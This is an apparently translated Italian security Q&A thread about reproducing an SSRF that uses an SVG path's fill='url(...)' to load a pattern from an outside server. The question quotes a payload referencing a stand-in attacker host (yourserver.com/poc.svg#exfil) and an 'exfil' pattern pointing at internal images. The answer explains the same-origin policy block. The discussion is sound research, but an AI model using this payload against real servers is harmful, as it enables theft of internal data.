SSRF PoC utilizzando fill="url (...)" con percorso assoluto

Naviga le tue risposte
1

Ho letto questo rapporto interessante che descrive una vulnerabilità SSRF che consente di recuperare immagini interne utilizzando la proprietà url in un elemento path. Tuttavia, anche se questa vulnerabilità si basa molto probabilmente sul rendering del server dell'immagine, non sono stato in grado di riprodurre il modo in cui questo è stato realizzato tramite un semplice documento HTML.

Da quanto ho capito, è stato usato un elemento path per chiamare elementi svg esterni sotto il controllo dell'attaccante: 

<path fill="url(https://yourserver.com/poc.svg#exfil)" stroke="#a1a1a1"

dove poc.svg contiene questo: 

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="<redacted>" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>

Suppongo che la parte <redacted> stia puntando a un'immagine nel server vulnerabile. Credo che <pattern id="exfil"> sia importante perché molti elementi svg richiedono quel tipo di identificatore ( id ) poiché fanno riferimento ad altri elementi nello stesso documento. Tuttavia, non sono stato in grado di replicare questo modello con il parametro "fill".

Questo è fondamentalmente ciò che sto facendo: 

<html>
    <body>
        <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
            <path fill="url(otherpoc.svg#exfil)" d="M150 0 L75 200 L225 200 Z" />
        </svg>
    </body>

</html>

e otherpoc.svg: 

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
    <pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
        <image xlink:href="google.png" x="0" y="0" height="256px" width="256px"/>
    </pattern>
</defs>
</svg>

Ora, funziona correttamente. Se avessi un file google.png come risorsa locale, questo sarebbe stato recuperato come previsto. Tuttavia, i percorsi assoluti (come in <path fill="url(http://server.com/otherpoc.svg#exfil)" ) non sembrano funzionare (l'url non è stato risolto). Se vuoi testare questo, ricorda di usare Firefox o altra navigazione che permetta questo tipo di risoluzione dell'URL.

Apprezzerei qualsiasi aiuto.

    
posta Robert Smith 06.11.2017 - 01:08
fonte

1 risposta

1

Stai tentando di riprodurre questa vulnerabilità nel tuo browser mentre il server interessato utilizza un parser SVG diverso (senza nome) con un comportamento diverso.

Il tuo browser semplicemente nega di caricare il pattern collegato tramite <path fill="url(...)" ...> tra domini perché sarebbe un SOP violazione. Se gli elementi di riferimento all'interno dei file SVG ospitati su domini diversi erano consentiti, questo potrebbe essere utilizzato da un utente malintenzionato per estrarre informazioni.

Quindi, usando il tuo esempio, Firefox giustamente solleva: 

Security Error: Content at http://localhost/svgsop.html may not load data from http://server.com/otherpoc.svg.
    
risposta data 06.11.2017 - 01:43
fonte

Leggi altre domande sui tag

Cosa offre migliori garanzie contro la decrittazione / hacking: HTTPS o un'app mobile ben fatta? Qual è l'utilizzo dell'algoritmo di firma nelle suite di crittografia TLS_DH_ *?